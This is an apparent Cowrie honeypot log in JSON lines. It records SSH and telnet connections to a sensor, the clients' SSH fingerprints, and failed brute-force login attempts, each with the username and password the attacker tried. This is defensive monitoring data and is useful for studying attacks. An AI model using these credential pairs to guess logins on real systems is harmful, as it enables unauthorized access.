{"eventid":"cowrie.session.closed","duration":3.001594305038452,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:23:59.598273Z","src_ip":"154.90.70.69","session":"ef6558800437","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44494,"dst_ip":"159.203.135.109","dst_port":23,"session":"980b9bbc891f","protocol":"telnet","message":"New connection: 107.6.151.170:44494 (159.203.135.109:23) [session: 980b9bbc891f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:24:16.844318Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":36276,"dst_ip":"159.203.135.109","dst_port":22,"session":"9617f2948d0e","protocol":"ssh","message":"New connection: 147.45.211.215:36276 (159.203.135.109:22) [session: 9617f2948d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:24:34.045750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:24:34.048717Z","src_ip":"147.45.211.215","session":"9617f2948d0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:24:34.221414Z","src_ip":"147.45.211.215","session":"9617f2948d0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irene","message":"login attempt [root/irene] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:24:34.731755Z","src_ip":"147.45.211.215","session":"9617f2948d0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:24:35.903252Z","src_ip":"147.45.211.215","session":"9617f2948d0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.96800494194031,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:24:49.812237Z","src_ip":"107.6.151.170","session":"980b9bbc891f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38368,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6b238eb8629","protocol":"telnet","message":"New connection: 170.64.224.25:38368 (159.203.135.109:23) [session: e6b238eb8629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:24:54.854000Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":39616,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcc141fae97a","protocol":"ssh","message":"New connection: 173.236.141.65:39616 (159.203.135.109:22) [session: fcc141fae97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:15.248822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:15.252492Z","src_ip":"173.236.141.65","session":"fcc141fae97a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:15.261758Z","src_ip":"173.236.141.65","session":"fcc141fae97a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0pt1m1sm$Tr0ng","message":"login attempt [root/0pt1m1sm$Tr0ng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:15.291082Z","src_ip":"173.236.141.65","session":"fcc141fae97a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:16.302959Z","src_ip":"173.236.141.65","session":"fcc141fae97a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":51278,"dst_ip":"159.203.135.109","dst_port":22,"session":"d365321a5b78","protocol":"ssh","message":"New connection: 162.240.35.200:51278 (159.203.135.109:22) [session: d365321a5b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:17.415779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:17.455174Z","src_ip":"162.240.35.200","session":"d365321a5b78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:17.538312Z","src_ip":"162.240.35.200","session":"d365321a5b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stani","password":"Aave#Cr@zy!P@ssw0rd$","message":"login attempt [stani/Aave#Cr@zy!P@ssw0rd$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:17.786626Z","src_ip":"162.240.35.200","session":"d365321a5b78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:20.304954Z","src_ip":"162.240.35.200","session":"d365321a5b78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":41802,"dst_ip":"159.203.135.109","dst_port":22,"session":"52c079fd48c0","protocol":"ssh","message":"New connection: 193.37.70.224:41802 (159.203.135.109:22) [session: 52c079fd48c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:31.983233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:32.008218Z","src_ip":"193.37.70.224","session":"52c079fd48c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:32.081689Z","src_ip":"193.37.70.224","session":"52c079fd48c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"181081","message":"login attempt [root/181081] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:32.433927Z","src_ip":"193.37.70.224","session":"52c079fd48c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:33.525366Z","src_ip":"193.37.70.224","session":"52c079fd48c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.73261833190918,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:38.586535Z","src_ip":"170.64.224.25","session":"e6b238eb8629","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":40926,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8e9f94ca527","protocol":"ssh","message":"New connection: 166.62.35.226:40926 (10.17.0.5:22) [session: e8e9f94ca527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:48.864762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:48.868457Z","src_ip":"166.62.35.226","session":"e8e9f94ca527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:48.932987Z","src_ip":"166.62.35.226","session":"e8e9f94ca527","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"crypto789","message":"login attempt [root/crypto789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:49.130149Z","src_ip":"166.62.35.226","session":"e8e9f94ca527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:25:50.208229Z","src_ip":"166.62.35.226","session":"e8e9f94ca527","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":55116,"dst_ip":"10.17.0.5","dst_port":22,"session":"629064c75665","protocol":"ssh","message":"New connection: 91.92.40.176:55116 (10.17.0.5:22) [session: 629064c75665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:05.147674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:05.151208Z","src_ip":"91.92.40.176","session":"629064c75665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:05.231082Z","src_ip":"91.92.40.176","session":"629064c75665","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passw0rd","message":"login attempt [admin/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:05.484387Z","src_ip":"91.92.40.176","session":"629064c75665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:06.568743Z","src_ip":"91.92.40.176","session":"629064c75665","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":33484,"dst_ip":"159.203.135.109","dst_port":22,"session":"217340908a88","protocol":"ssh","message":"New connection: 103.172.78.219:33484 (159.203.135.109:22) [session: 217340908a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:07.190918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:07.194315Z","src_ip":"103.172.78.219","session":"217340908a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:07.456231Z","src_ip":"103.172.78.219","session":"217340908a88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ntvjxrf","message":"login attempt [root/ntvjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:08.245200Z","src_ip":"103.172.78.219","session":"217340908a88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:09.510452Z","src_ip":"103.172.78.219","session":"217340908a88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":58882,"dst_ip":"10.17.0.5","dst_port":22,"session":"02dfff3e6282","protocol":"ssh","message":"New connection: 162.254.35.142:58882 (10.17.0.5:22) [session: 02dfff3e6282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:20.733675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:20.737887Z","src_ip":"162.254.35.142","session":"02dfff3e6282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:20.804052Z","src_ip":"162.254.35.142","session":"02dfff3e6282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"threearrowscap","password":"threearrows123","message":"login attempt [threearrowscap/threearrows123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:21.003239Z","src_ip":"162.254.35.142","session":"02dfff3e6282","protocol":"ssh"}
